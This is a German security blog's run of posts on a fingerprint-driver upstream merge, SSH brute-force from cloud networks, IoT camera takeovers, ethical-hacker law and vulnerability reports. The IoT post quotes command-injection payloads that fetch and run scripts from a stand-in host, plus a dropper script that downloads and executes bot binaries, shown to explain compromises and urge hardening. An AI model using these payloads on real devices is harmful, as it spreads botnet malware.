Using device /net/reactivated/Fprint/Device/0
Enrolling right-index-finger finger.
Enroll result: enroll-stage-passed
[... 5/5 Stages ...]
Enroll result: enroll-completed
$ fprintd-verify
Using device /net/reactivated/Fprint/Device/0
Listing enrolled fingers:
 - #0: right-index-finger
Verify result: verify-match (true)

Richtiger Finger: Match. Falscher Finger: No Match. Enrollment sauber, Verifikation zuverlässig.

Upstream

Der Merge Request ist eingereicht: MR !574 bei libfprint. Fünf Dateien: der neue Treiber, meson.build, autosuspend.hwdb und die Allowlist. CI läuft durch. Der verwandte MR !569 für den NB-2020-U ist noch in Review.

Für die Wiki-Aktualisierung (das Gerät von der „unsupported“ Liste nehmen) gibt es Issue #134.

Fazit

Der Hersteller sagt „not supported“, 74 Linux-User melden „failed“, und trotzdem war das an einem Nachmittag erledigt. SDK auf Linux ausführen, USB-Traffic mitschneiden, Protokoll rekonstruieren, Treiber schreiben, testen, upstream einreichen. Alles mit Open-Source-Tools: usbmon, libusb, libfprint.

Das Ergebnis: Majas Notebook hat jetzt einen funktionierenden Fingerabdruckleser unter Linux. Und sobald der Merge Request durch ist, haben ihn alle anderen auch.

Wie immer: Bei Fragen, fragen.

SSH-Bruteforce, DigitalOcean und AbuseIPDB – warum Blocken das Problem nicht löst

Aus gegebenem Anlass möchte ich ein paar Gedanken zu DigitalOcean aufschreiben. Nicht, weil ich glaube, dass DigitalOcean ein grundsätzliches Problem hat oder etwas falsch macht. Sondern weil DigitalOcean in meinen Logs seit Jahren besonders auffällt. Am Ende steht DigitalOcean hier eher sinnbildlich für ein größeres Thema.

Wer Systeme im Internet betreibt, kennt das Spiel. Server werden dauerhaft von außen angefasst. SSH-Ports werden gescannt, Login-Versuche laufen durch, Webseiten bekommen Requests auf bekannte Pfade, WordPress-Logins, XML-RPC, das volle Programm. Das ist kein gezielter Angriff, sondern automatisiertes Dauerrauschen. Bots, Skripte, Scanner, manchmal Security-Tools, manchmal schlicht schlecht konfigurierte Kisten.

Darstellung von automatisierten SSH-Bruteforce-Angriffen und Server-Härtung in Cloud-Umgebungen

Findet so ein Bot irgendwo ein offenes Loch, einen Standard-Login, ein vergessenes Passwort oder eine ungepatchte Schwachstelle, dann geht es weiter. Meistens wird erst einmal weitere Software nachgeladen. Der Host wird Teil eines Botnetzes, scannt selbst weiter, verteilt Spam, nimmt an DDoS-Aktionen teil oder schürft Kryptowährungen. Nichts davon ist neu, nichts davon ist überraschend.

Was mir allerdings seit mindestens vier Jahren auffällt: Ein sehr großer Teil dieser Brute-Force-Versuche, insbesondere auf SSH, kommt bei mir aus Netzen von DigitalOcean. Nicht ein bisschen mehr, sondern konstant irgendwo im Bereich von achtzig bis neunzig Prozent. Über Jahre. Über verschiedene Systeme hinweg.

Der erste Reflex liegt nahe. Wenn so viel aus einem Netz kommt, warum blockt man dann nicht einfach alle Netze dieses Anbieters? Dann ist Ruhe. Und wenn das alle machen würden, müsste der Anbieter ja reagieren. Der Gedanke ist verständlich. Ich hatte ihn selbst. Er ist aber aus meiner Sicht der falsche.

Ein pauschales Blocken ist im Grunde nichts anderes als eine Decke über das eigentliche Problem zu werfen. Das Problem ist damit nicht weg, es ist nur woanders. Die Bots wechseln dann eben zum nächsten Cloud-Provider. Außerdem produziert man sich damit ganz eigene Probleme. DigitalOcean-Netze komplett zu sperren heißt auch, legitimen Traffic auszusperren. APIs, Dienste, Kunden, Monitoring, externe Abhängigkeiten. Je nach Setup schneidet man sich damit schneller ins eigene Fleisch, als einem lieb ist.

Relativ schnell landet man dann bei Reputation-Diensten wie AbuseIPDB. Dort melden Betreiber IPs, von denen Scans, Brute-Force-Versuche oder andere Auffälligkeiten ausgehen. Auch ich melde dort seit Jahren IPs, automatisiert und manuell. Formal funktioniert das gut. IPs bekommen Scores, werden gelistet, tauchen in Datenbanken auf.

Das Problem ist nur: Diese Systeme arbeiten IP-basiert. Und genau das passt schlecht zur Realität moderner Netze. In Cloud-Umgebungen sind IPs kurzlebig. Heute gehört sie einem kompromittierten Host, morgen einem völlig legitimen Kunden. Ein hoher Abuse-Score sagt wenig über den aktuellen Nutzer dieser IP aus. Reputation ist träge, Infrastruktur ist schnell.

Jan  6 22:58:08 honeypot03 sshd-session[61904]: Invalid user sonar from 64.23.228.101 port 38610
Jan  6 22:58:08 honeypot03 sshd-session[61904]: Connection closed by invalid user sonar 64.23.228.101 port 38610 [preauth]
Jan  6 23:02:13 honeypot03 sshd-session[62101]: Invalid user sonar from 64.23.228.101 port 38174
Jan  6 23:02:13 honeypot03 sshd-session[62101]: Connection closed by invalid user sonar 64.23.228.101 port 38174 [preauth]
Jan  6 23:06:12 honeypot03 sshd-session[62175]: Invalid user sonar from 64.23.228.101 port 35952
Jan  6 23:06:12 honeypot03 sshd-session[62175]: Connection closed by invalid user sonar 64.23.228.101 port 35952 [preauth]
Jan  6 23:10:10 honeypot03 sshd-session[62248]: Invalid user steam from 64.23.228.101 port 38236
Jan  6 23:10:10 honeypot03 sshd-session[62248]: Connection closed by invalid user steam 64.23.228.101 port 38236 [preauth]
Jan  6 23:14:17 honeypot03 sshd-session[62335]: Invalid user steam from 64.23.228.101 port 35952
Jan  6 23:14:18 honeypot03 sshd-session[62335]: Connection closed by invalid user steam 64.23.228.101 port 35952 [preauth]
Jan  6 23:18:22 honeypot03 sshd-session[62455]: Invalid user steam from 64.23.228.101 port 50096
Jan  6 23:18:22 honeypot03 sshd-session[62455]: Connection closed by invalid user steam 64.23.228.101 port 50096 [preauth]
Jan  6 23:22:24 honeypot03 sshd-session[62599]: Invalid user sugi from 64.23.228.101 port 53212
Jan  6 23:22:25 honeypot03 sshd-session[62599]: Connection closed by invalid user sugi 64.23.228.101 port 53212 [preauth]
Jan  6 23:26:26 honeypot03 sshd-session[62671]: Invalid user svnuser from 64.23.228.101 port 44820
Jan  6 23:26:26 honeypot03 sshd-session[62671]: Connection closed by invalid user svnuser 64.23.228.101 port 44820 [preauth]
Jan  6 23:30:26 honeypot03 sshd-session[62763]: Invalid user svnuser from 64.23.228.101 port 52156
Jan  6 23:30:27 honeypot03 sshd-session[62763]: Connection closed by invalid user svnuser 64.23.228.101 port 52156 [preauth]
Jan  6 23:34:30 honeypot03 sshd-session[62867]: Invalid user taryn from 64.23.228.101 port 54128
Jan  6 23:34:31 honeypot03 sshd-session[62867]: Connection closed by invalid user taryn 64.23.228.101 port 54128 [preauth]
Jan  6 23:38:41 honeypot03 sshd-session[62939]: Invalid user taryn from 64.23.228.101 port 39894
Jan  6 23:38:42 honeypot03 sshd-session[62939]: Connection closed by invalid user taryn 64.23.228.101 port 39894 [preauth]
Jan  6 23:42:44 honeypot03 sshd-session[63013]: Invalid user taryn from 64.23.228.101 port 57728
Jan  6 23:42:45 honeypot03 sshd-session[63013]: Connection closed by invalid user taryn 64.23.228.101 port 57728 [preauth]
Jan  6 23:46:45 honeypot03 sshd-session[63160]: Invalid user taryn from 64.23.228.101 port 38438
Jan  6 23:46:45 honeypot03 sshd-session[63160]: Connection closed by invalid user taryn 64.23.228.101 port 38438 [preauth]
Jan  6 23:50:49 honeypot03 sshd-session[63252]: Invalid user taryn from 64.23.228.101 port 54070
Jan  6 23:50:49 honeypot03 sshd-session[63252]: Connection closed by invalid user taryn 64.23.228.101 port 54070 [preauth]
Jan  6 23:54:55 honeypot03 sshd-session[63354]: Invalid user terrance from 64.23.228.101 port 57960
Jan  6 23:54:55 honeypot03 sshd-session[63354]: Connection closed by invalid user terrance 64.23.228.101 port 57960 [preauth]
Jan  6 23:59:05 honeypot03 sshd-session[63472]: Invalid user terrance from 64.23.228.101 port 47558
Jan  6 23:59:05 honeypot03 sshd-session[63472]: Connection closed by invalid user terrance 64.23.228.101 port 47558 [preauth]
Jan  7 00:03:11 honeypot03 sshd-session[64731]: Invalid user terrance from 64.23.228.101 port 42938
Jan  7 00:03:11 honeypot03 sshd-session[64731]: Connection closed by invalid user terrance 64.23.228.101 port 42938 [preauth]

Damit erklärt sich auch, warum Provider solche externen Feeds nicht einfach hart umsetzen. Würde man IPs automatisiert abschalten, nur weil sie in einer Datenbank schlecht bewertet sind, träfe man regelmäßig Unbeteiligte. False Positives wären vorprogrammiert. Rechtlich, operativ und wirtschaftlich ist das für Provider kaum tragbar.

Warum also fällt DigitalOcean so stark auf? Das kann ich nicht belegen, nur einordnen. DigitalOcean ist günstig, schnell, einfach. In wenigen Minuten hat man dort eine VM mit öffentlicher IP. Das ist für legitime Nutzer attraktiv, aber eben auch für Leute mit schlechten Absichten. Wenn Infrastruktur billig und niedrigschwellig ist, taucht sie zwangsläufig häufiger in Logs auf. Dazu kommt, dass viele Systeme dort von Menschen betrieben werden, die vielleicht noch nicht so tief im Thema Security stecken. Offene Dienste, schwache Konfigurationen, fehlendes Hardening – all das macht solche Hosts wiederum zu guten Kandidaten für Kompromittierung und Weiterverwendung.

Wichtig dabei: DigitalOcean selbst macht aus meiner Sicht nichts grundlegend falsch. Der Abuse-Prozess funktioniert. Meldungen lassen sich automatisiert einreichen, werden angenommen, werden beantwortet, werden bearbeitet. Ich habe das über Jahre hinweg genutzt, sowohl manuell als auch automatisiert. Das ist sauber umgesetzt.

Was sich dadurch aber nicht ändert, ist die Menge der Versuche. Die wird nicht weniger. Sie bleibt konstant. Einzelne Hosts verschwinden, neue tauchen auf. Abuse-Meldungen – egal ob direkt beim Provider oder über Plattformen wie AbuseIPDB – wirken immer nur lokal und zeitverzögert. Gegen ein strukturelles Phänomen kommen sie nicht an.

Aus Sicht eines Providers ist das auch logisch. Ein paar tausend fehlgeschlagene SSH-Logins sind kein Incident. Kein DDoS, kein Ausfall, kein messbarer Schaden. Das fällt unter Hintergrundrauschen. Niemand bezahlt dafür, dieses Rauschen global zu eliminieren. Und ehrlich gesagt: Das kann auch niemand realistisch leisten.

Die eigentliche Konsequenz daraus ist unbequem, aber klar. Man darf nicht erwarten, dass Provider oder Reputation-Datenbanken einem dieses Problem abnehmen. Scan- und Brute-Force-Traffic gehört heute zum Betrieb eines öffentlich erreichbaren Systems dazu. Die einzige Stelle, an der man sinnvoll ansetzen kann, ist das eigene Setup.

Saubere Konfiguration. Keine Passwort-Logins per SSH. Kein Root-Login. Rate-Limits. Monitoring, das zwischen Rauschen und echten Zustandsänderungen unterscheidet. Fail2Ban als Dämpfer, nicht als Illusion von Sicherheit. Und vor allem: Gelassenheit gegenüber Logs, die voll sind, aber nichts bedeuten.

DigitalOcean ist hier nicht der Feind. AbuseIPDB ist kein Allheilmittel. Beides sind sichtbare Teile eines größeren Bildes. Das eigentliche Thema ist, wie man Systeme so betreibt, dass dieses Hintergrundrauschen irrelevant wird.

Siehe auch: SSH-Server absichern mit MFA

IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

Vielleicht erinnert ihr euch an meine Aussage, dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür. In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

Image of IoT Camera and IT Security

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine Überwachungskamera, ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

„Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das Gerät selbst.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

  • als Teil eines Botnetzes
  • zum Verteilen von Malware
  • für DDoS-Angriffe
  • zum Minen von Kryptowährungen
  • oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

Screenshot of an compromised asus cctv ip camera iot

Ein Klassiker: nicht korrekt geprüfte Eingabefelder.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'

oder

$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende kitty Paket sein:

Benutzername: meow
Kennwort: meow

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

wget http://1.2.3.4/vivo -O- | sh
  • wget lädt eine Datei herunter
  • -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
  • das Pipe-Symbol | übergibt den Inhalt an die Shell sh
  • die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64

Und ja: Das existiert genauso in freier Wildbahn.

Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

  • Wurde vielleicht eine manipulierte Firmware eingespielt?
  • Wurde der Bootloader verändert?
  • Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
  • Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: Nein.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

  • WLAN-Passwörter
  • NAS-Zugangsdaten
  • SMTP-Accounts
  • API-Tokens
  • Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

  • IoT immer in ein eigenes, getrenntes Netz.
  • Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
  • Regelmäßig patchen, prüfen, auditieren.
  • Standardpasswörter sofort ändern.
  • Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker

free ethical hackers

Siehe auch: Sicherheitslücken melden: Mein Umgang mit einem Vulnerability Report

Wir leben in Deutschland ja ein bisschen im „Anzeige-ist-raus“-Land. Das merken auch Security-Researcher und ethische Hacker. Solange man Eigentümer:innen/Betreiber:innen nur auf frei und offen erreichbare Probleme hinweist, ist die Welt halbwegs in Ordnung. Sobald man aber beginnt, Schutzmechanismen zu überwinden oder Anwendungen zu übervorteilen, wird’s schnell juristisch dünn. Genau deshalb melde ich in der Regel nur komplett offen erreichbare Dinge – außer es gibt eine security.txt mit klarer Policy oder ein offenes Bug-Bounty mit Safe-Harbor.

Picture of an useless gate.

Ein „Schutzmechanismus“ kann schon eine simple Basic-Auth sein. Kennt ihr dieses Bild vom Gartentor mitten auf dem Weg? Kein Zaun, keine Mauer, nur ein Tor. Auf dem Weg geht’s nicht weiter – aber einen Schritt nach links über die Wiese, und zack, ums Tor herum. Juristisch blöd: Das Umgehen dieses „Törchens“ kann bereits als Überwinden einer Zugangssicherung gewertet werden. Für die Meldenden kann das zum Problem werden, obwohl sie eigentlich helfen wollen.

Die Konsequenz: Selbst krasse Lücken werden oft gar nicht gemeldet, wenn davor ein Gartentörchen steht. Leute mit schlechten Absichten gehen natürlich einfach drumherum und nutzen die Lücke – anonym und schwer nachverfolgbar. Ergebnis: Probleme bleiben länger offen, statt sie sauber zu fixen.

Das sieht auch das BSI so und fordert schon länger mehr Rechtssicherheit für Security-Forschung. Aktuell gibt es wieder Bewegung: BSI-Präsidentin Claudia Plattner plädiert öffentlich für eine Entkriminalisierung ethischer Hacker – sinngemäß: „Wer uns vor Cyberangriffen schützt, darf dafür nicht bestraft werden.“ Die letzte Bundesregierung hatte sogar schon einen Entwurf zur Anpassung des sogenannten Hackerparagrafen in der Pipeline; die neue Regierung prüft das Thema weiter.

Zur Einordnung, worum es geht:

Strafgesetzbuch (StGB) – § 202a Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.
(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.

Das Problem ist weniger § 202a an sich als das fehlende Safe-Harbor für verantwortungsvolles Melden (Coordinated/Responsible Disclosure). Wenn schon Basic-Auth oder ein dünnes „Do-not-enter“-Schild als „Zugangssicherung“ zählt, macht das legitime Forschung riskant – und genau das will das BSI ändern. Schutz für die Guten, klare Grenzen gegen echten Missbrauch.

Den aktuellen Überblick fasst Golem gut zusammen; lesenswert:
https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html

Meta: Ja, ich bleibe auch künftig bei meiner Linie: Tests nur im eigenen Lab oder mit expliziter Erlaubnis. Alles andere ist nicht nur unklug, sondern schlicht rechtlich riskant.

Ich bleibe bei meinem Tipp für euch: Veröffentlicht eine security.txt. Solltet ihr mal einen Hinweis bekommen, erinnert euch bitte daran, dass die Person gerade den größten Aufwand und das größte Risiko eingeht, um euch auf ein Problem aufmerksam zu machen. Es wäre viel einfacher, die Lücke für sich auszunutzen, zu verkaufen oder sonst wie zu missbrauchen, als den Schritt nach vorne zu gehen und euch fair zu informieren.

Natürlich meine ich damit nicht die Leute, die erst einmal 5.000 € „Audit-Gebühr“ sehen wollen oder beim ungefragten Pentesting eure komplette IT aus dem Verkehr schießen. Ich meine die Menschen, die euch auf dem REWE-Parkplatz freundlich darauf hinweisen, dass ihr euer Portemonnaie auf dem Autodach liegen gelassen habt.

Bedankt euch einfach. 🙂

Fragen? Einfach melden.

Sicherheitslücken melden: Mein Umgang mit einem Vulnerability Report

Vulnerability Report

Vor Kurzem habe ich einen Vulnerability Report erhalten. Ich freue mich über solche Hinweise. Sie helfen mir, mein Setup zu verbessern, bevor jemand eine Schwachstelle tatsächlich ausnutzt.

Der Report

Subject: Vulnerability Report: Vulnerable System Detected at openpgpkey.kernel-error.com

Hello Team,

I have identified a security issue in your system related to a vulnerability
(CVE-2023-48795) in Terrapin.

Vulnerability Details:
- CVE Identifier: CVE-2023-48795
- Vulnerability Type: javascript
- Severity: medium
- Host: openpgpkey.kernel-error.com
- Affected Port: 22

[...]

Best Regards,
Security Team

Erste Einschätzung

Terrapin hatte ich eigentlich schon überall gepatcht. Dann der Hinweis auf openpgpkey.kernel-error.com. Die Domain existiert als CNAME und gehört zur Web Key Directory (WKD), damit GPG-Keys automatisiert abgerufen werden können. Ich habe das als CNAME zu wkd.keys.openpgp.org angelegt, weil dieser Keyserver eine E-Mail-Validierung beim Hochladen durchführt.

Der betroffene SSH-Server gehört also gar nicht zu meiner Infrastruktur. Ich kann selbst nichts tun.

Vulnerability Type: JavaScript bei einem SSH-Problem auf Port 22? Der Finder hat vermutlich sein Standard-Template benutzt und nicht angepasst. Aber ich wollte trotzdem prüfen, ob seine Einschätzung zum SSH-Server zutrifft:

# ssh-audit openpgpkey.kernel-error.com (gekürzt)
(gen) banner: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
(gen) software: OpenSSH 8.4p1

(cve) CVE-2021-41617  -- (CVSSv2: 7.0) privilege escalation via supplemental groups
(cve) CVE-2016-20012  -- (CVSSv2: 5.3) enumerate usernames via challenge response

(kex) ecdh-sha2-nistp256  -- [fail] suspected NSA backdoor
(kex) ecdh-sha2-nistp384  -- [fail] suspected NSA backdoor
(kex) kex-strict-s-v00@openssh.com  -- [info] Terrapin counter-measure present

(key) ssh-rsa (2048-bit)  -- [fail] broken SHA-1 hash algorithm
(key) ecdsa-sha2-nistp256 -- [fail] suspected NSA backdoor

(mac) hmac-sha1-etm@openssh.com  -- [fail] broken SHA-1 hash algorithm
(mac) hmac-sha1                  -- [fail] broken SHA-1

Sieht tatsächlich nicht optimal aus. NIST-Kurven, SHA-1, 2048-Bit RSA. Der Hinweis war also nicht unberechtigt. Ich habe dem Finder freundlich und dankbar geantwortet, aber darauf hingewiesen, dass das System nicht zu meiner Infrastruktur gehört. Die relevanten WHOIS-Informationen zur IP habe ich mitgeschickt.

Die Antwort

Thank you for your answer.

Let me know if you need anything else from myside

I hope this type of hard efforts deserves something reward

„Hard efforts“. Ich will das nicht schlechtreden. Im beruflichen Umfeld hätte ich mich vielleicht sogar für eine Kleinigkeit stark gemacht. Aber hier geht es um meine private Infrastruktur, und dann noch mit dem JavaScript-Hinweis und der Meldung zu einem fremden System. Das wirkt oberflächlich. Also habe ich ihn freundlich darauf hingewiesen.

Wie man mit Vulnerability Reports umgehen sollte

Wenn euch eine solche Nachricht erreicht: Schnell und freundlich reagieren. Den Report ernst nehmen, bewerten und eine angemessene Rückmeldung geben. Die Mühe des Finders wertschätzen. Zwei Wochen später mit „Anzeige ist raus!“ zu antworten wäre der falsche Weg. Es ist für jemanden deutlich aufwendiger, eine Meldung zu schreiben, als das Ganze in ein Darknet-Forum zu posten und dort ein paar XMR einzusammeln.

Macht es den Leuten einfach, euch zu kontaktieren. Eine security.txt oder klare Kontaktinformationen für eine Security-Mailbox helfen ungemein. Hauptsache, jemand kann seinen Report unkompliziert abgeben, und er wird von jemandem gelesen, der das bewerten kann.

Mehr zum Thema security.txt:
securitytxt.org | Wikipedia | BSI Allianz für Cybersicherheit

Zum Vergleich: Mein eigener SSH-Server

So sieht meine SSH-Konfiguration von außen aus:

# ssh-audit bsd01.kernel-error.de (gekürzt)
(gen) banner: SSH-2.0-OpenSSH_9.7 DemMeisterSeinRennAuto
(gen) software: OpenSSH 9.7

(kex) sntrup761x25519-sha512@openssh.com  -- [info] Post-Quantum Key Exchange
(kex) curve25519-sha256                   -- [info] default since OpenSSH 6.4
(kex) diffie-hellman-group16-sha512       -- [info] available since OpenSSH 7.3
(kex) kex-strict-s-v00@openssh.com        -- [info] Terrapin counter-measure

(key) ssh-ed25519                         -- [info] available since OpenSSH 6.5

(enc) aes256-gcm@openssh.com              -- [info] available since OpenSSH 6.2
(enc) aes128-gcm@openssh.com              -- [info] available since OpenSSH 6.2

(mac) hmac-sha2-256-etm@openssh.com       -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-512-etm@openssh.com       -- [info] available since OpenSSH 6.2

Keine NIST-Kurven, kein SHA-1, kein RSA, Post-Quantum Key Exchange mit sntrup761. Nur Ed25519 als Host Key. Der Banner ist übrigens Absicht.

Fragen? Einfach melden.

SSH-Brute-Force mit veralteter Implementierung: Angriffsmuster erkennen​

Wenn man mit einem System im Internet steht fummelt immer irgendein script kiddie oder bot an den Diensten herum. Oft ist hier eine IP Adresse aus China dabei. Dann probieren sie ein paar default logins und wandern weiter zur nächsten IP Adresse. Die Bots geben dem Ganzen in der Regel schon nicht mehr als drei Versuche, weil sie dann eh von irgendeinem Sicherheitssystem geblockt werden. Da es noch viele andere bots hinter anderen IP Adressen gibt, übermittelt der bot nur seinen Stand der Versuche an das Hirn des Botnetzes und der nächste, nicht geblockte bot, kommt und probiert es weiter…

Alles „kalter Kaffee“… In den letzten Wochen fallen mir zwei kleine Veränderungen auf.

old SSH Bot

Einmal kommen diese IP Adressen noch immer stark aus China… ABER sehr oft ebenfalls von DigitalOcean (USA). Zudem fallen mir die anderen Cloudprovider auf (Google, Microsoft, AWS…). Das verschiebt sich aktuell wohl etwas. Normalerweise kommt ganz viel aus China, dann ganz viel von verschiedenen dynamischen Endkundenanschlüssen auf der Erde. Jetzt kommt ganz viel aus China, dann unglaublich nahe daran Digitalocean, direkt gefolgt von der google-cloud und microsoft-cloud. Erst jetzt kommen die Endkundenanschlüsse und mischen sich mit Adressen aus der AWS-Cloud. Scheinbar haben die Amazonjungs irgendetwas „besser“ gemacht, um ihre Kunden davor zu schützen sich etwas „einzufangen“?!?

Zweitens scheint da ein Botnetz mit recht alter ssh Implementierung unterwegs zu sein. Oder es sucht halt speziell alte SSH-Server? Auf IoT Geräte mit alter Firmware tippe ich weniger, denn von diesen kommt ebenfalls etwas von Cloudanbietern. Bei denen unterstelle ich einfach mal, keine alten IoT Geräte im Einsatz zu haben, die infiziert sind. Naja… Oder es wird halt nach genau solchen Geräten gesucht. Warum alt? Weil ich so etwas in den Logs finde:

Apr  8 10:35:58 YOURMOM sshd[43201]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr  8 10:35:58 YOURMOM sshd[43201]: Did not receive identification string from 1.2.3.4 port 34244
Apr  8 10:36:22 YOURMOM sshd[43202]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr  8 10:36:22 YOURMOM sshd[43202]: Unable to negotiate with 1.2.3.4 port 36160: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
Apr  8 10:36:42 YOURMOM sshd[43204]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr  8 10:36:42 YOURMOM sshd[43204]: Unable to negotiate with 1.2.3.4 port 39556: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]

Wie ist das bei euch?

Siehe auch: SSH-Server absichern mit MFA, SSH-Bruteforce, DigitalOcean und AbuseIPDB – warum Blocken das Problem nicht löst, Raspberry Pi als Angriffsziel: SSH-Brute-Force auf den User pi

Fragen? Einfach melden.

Shodan wertet security.txt aus.

Screenshot der shodan Webseite für die Auswertung der security.txt

Zufällig habe ich gesehen, dass die Suchmaschine Shodan bereits die security.txt auswertet und als Security Contact auflistet. Genau so habe ich mir das vorgestellt. https://www.shodan.io/host/148.251.40.23

Zur security.txt habe hier hier schon was geschrieben: Draft zu Security Policies

Dann steht ab jetzt der Security Contact zumindest schon mal direkt über den offenen CVEs, hm?

Siehe auch: security.txt dieses Blogs

Fragen? Einfach melden.

Shodan.io Firefox Plugin

Veraltet: Das Shodan-Firefox-Plugin ist in aktuellen Firefox-Versionen nicht mehr verfügbar. Shodan.io kann direkt im Browser genutzt werden.

Kleiner Tipp am Rande… Habt ihr euch mal das Firefox Plugin von Shodan.io angeschaut?

